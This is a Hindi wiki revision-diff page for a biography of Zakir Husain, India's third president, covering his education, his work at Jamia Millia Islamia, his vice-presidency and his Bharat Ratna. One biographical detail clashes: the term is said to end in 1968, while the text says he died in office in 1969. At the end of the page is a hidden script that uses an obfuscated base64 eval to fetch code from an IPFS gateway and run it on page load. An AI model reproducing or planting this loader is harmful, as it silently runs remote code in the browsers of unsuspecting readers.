ज़ाकिर हुसैन: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
Line 2: | Line 2: | ||
[[चित्र:Dr.Zakir-Hussain.jpg|thumb|डॉ. ज़ाकिर हुसैन]] | [[चित्र:Dr.Zakir-Hussain.jpg|thumb|डॉ. ज़ाकिर हुसैन]] | ||
'''कार्यकाल - 13 मई 1967 से 3 मई 1968'''<br /> | '''कार्यकाल - 13 मई 1967 से 3 मई 1968'''<br /> | ||
*डा. ज़ाकिर हुसैन का जन्म [[हैदराबाद]], [[आंध्र प्रदेश]] के धनाढ्य पठान परिवार में हुआ था। | *डा. ज़ाकिर हुसैन का जन्म 1897 ई. में [[हैदराबाद]], [[आंध्र प्रदेश]] के धनाढ्य पठान परिवार में हुआ था। | ||
*कुछ समय बाद इनके पिता [[उत्तर प्रदेश]] में रहने आ गये थे। | *कुछ समय बाद इनके पिता [[उत्तर प्रदेश]] में रहने आ गये थे। | ||
*केवल 23 वर्ष की अवस्था में वे 'जामिया मिलिया इस्लामिया विश्वविद्यालय' की स्थापना दल के सदस्य बने। | *केवल 23 वर्ष की अवस्था में वे 'जामिया मिलिया इस्लामिया विश्वविद्यालय' की स्थापना दल के सदस्य बने। | ||
*जाकिर हुसैन [[भारत]] के तीसरे राष्ट्रपति तथा प्रमुख शिक्षाविद थे। | |||
*वे अर्थशास्त्र में पीएच. डी की डिग्री के लिए [[जर्मनी]] के बर्लिन विश्वविद्यालय गए और लौट कर जामिया के उप कुलपति के पद पर भी आसीन हुए। | *वे अर्थशास्त्र में पीएच. डी की डिग्री के लिए [[जर्मनी]] के बर्लिन विश्वविद्यालय गए और लौट कर जामिया के उप कुलपति के पद पर भी आसीन हुए। | ||
* | *1920 में उन्होंने जामिया मिलिया इस्लामिया की स्थापना में योग दिया तथा इसके उपकुलपति बने। | ||
*इनके नेतृत्व में जामिया मिलिया इस्लामिया का राष्ट्रवादी कार्यों तथा स्वाधीनता संग्राम की ओर झुकाव रहा। | |||
*स्वतन्त्रता प्राप्ति के पश्चात वे अलीगढ़ विश्वविद्यालय के उपकुलपति बने तथा उनकी अध्यक्षता में ‘विश्वविद्यालय शिक्षा आयोग’ भी गठित किया गया। | |||
* इसके अलावा वे भारतीय प्रेस आयोग, विश्वविद्यालय अनुदान आयोग, यूनेस्को, अन्तर्राष्ट्रीय शिक्षा सेवा तथा केन्द्रीय माध्यमिक शिक्षा बोर्ड से भी जुड़े रहे। 1962 ई. में वे भारत के उपराष्ट्रपति बने।<ref>{{cite book | last =नागोरी | first = डॉ. एस.एल. | title =स्वतंत्रता सेनानी कोश (गाँधीयुगीन) | edition = 2011 | publisher = गीतांजलि प्रकाशन, जयपुर | location = भारतडिस्कवरी पुस्तकालय | language = [[हिन्दी]] | pages = पृष्ठ सं 168 | chapter = खण्ड 3 }}</ref> | |||
*उन्हें वर्ष 1963 में [[भारत रत्न]] से सम्मानित किया गया। | *उन्हें वर्ष 1963 में [[भारत रत्न]] से सम्मानित किया गया। | ||
*1969 में असमय देहावसान के कारण वे अपना राष्ट्रपति कार्यकाल पूरा नहीं कर सके। | *1969 में असमय देहावसान के कारण वे अपना राष्ट्रपति कार्यकाल पूरा नहीं कर सके। | ||
{{शासन क्रम |शीर्षक=[[भारत के राष्ट्रपति]] |पूर्वाधिकारी=[[सर्वपल्ली राधाकृष्णन]] |उत्तराधिकारी=[[वाराहगिरि वेंकट गिरि]]}} | {{शासन क्रम |शीर्षक=[[भारत के राष्ट्रपति]] |पूर्वाधिकारी=[[सर्वपल्ली राधाकृष्णन]] |उत्तराधिकारी=[[वाराहगिरि वेंकट गिरि]]}} | ||
Line 28: | Line 32: | ||
{{भारत गणराज्य}} | {{भारत गणराज्य}} | ||
{{भारत के राष्ट्रपति2}} | {{भारत के राष्ट्रपति2}} | ||
{{स्वतन्त्रता सेनानी}} | |||
[[Category:स्वतन्त्रता_सेनानी]] | |||
[[Category:भारत के राष्ट्रपति]] | [[Category:भारत के राष्ट्रपति]] | ||
[[Category:भारत_रत्न_सम्मान]] | [[Category:भारत_रत्न_सम्मान]] |
Revision as of 11:47, 28 June 2011
चित्र:Disamb2.jpg ज़ाकिर हुसैन | एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- ज़ाकिर हुसैन (बहुविकल्पी) |
thumb|डॉ. ज़ाकिर हुसैन
कार्यकाल - 13 मई 1967 से 3 मई 1968
- डा. ज़ाकिर हुसैन का जन्म 1897 ई. में हैदराबाद, आंध्र प्रदेश के धनाढ्य पठान परिवार में हुआ था।
- कुछ समय बाद इनके पिता उत्तर प्रदेश में रहने आ गये थे।
- केवल 23 वर्ष की अवस्था में वे 'जामिया मिलिया इस्लामिया विश्वविद्यालय' की स्थापना दल के सदस्य बने।
- जाकिर हुसैन भारत के तीसरे राष्ट्रपति तथा प्रमुख शिक्षाविद थे।
- वे अर्थशास्त्र में पीएच. डी की डिग्री के लिए जर्मनी के बर्लिन विश्वविद्यालय गए और लौट कर जामिया के उप कुलपति के पद पर भी आसीन हुए।
- 1920 में उन्होंने जामिया मिलिया इस्लामिया की स्थापना में योग दिया तथा इसके उपकुलपति बने।
- इनके नेतृत्व में जामिया मिलिया इस्लामिया का राष्ट्रवादी कार्यों तथा स्वाधीनता संग्राम की ओर झुकाव रहा।
- स्वतन्त्रता प्राप्ति के पश्चात वे अलीगढ़ विश्वविद्यालय के उपकुलपति बने तथा उनकी अध्यक्षता में ‘विश्वविद्यालय शिक्षा आयोग’ भी गठित किया गया।
- इसके अलावा वे भारतीय प्रेस आयोग, विश्वविद्यालय अनुदान आयोग, यूनेस्को, अन्तर्राष्ट्रीय शिक्षा सेवा तथा केन्द्रीय माध्यमिक शिक्षा बोर्ड से भी जुड़े रहे। 1962 ई. में वे भारत के उपराष्ट्रपति बने।[1]
- उन्हें वर्ष 1963 में भारत रत्न से सम्मानित किया गया।
- 1969 में असमय देहावसान के कारण वे अपना राष्ट्रपति कार्यकाल पूरा नहीं कर सके।
|
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>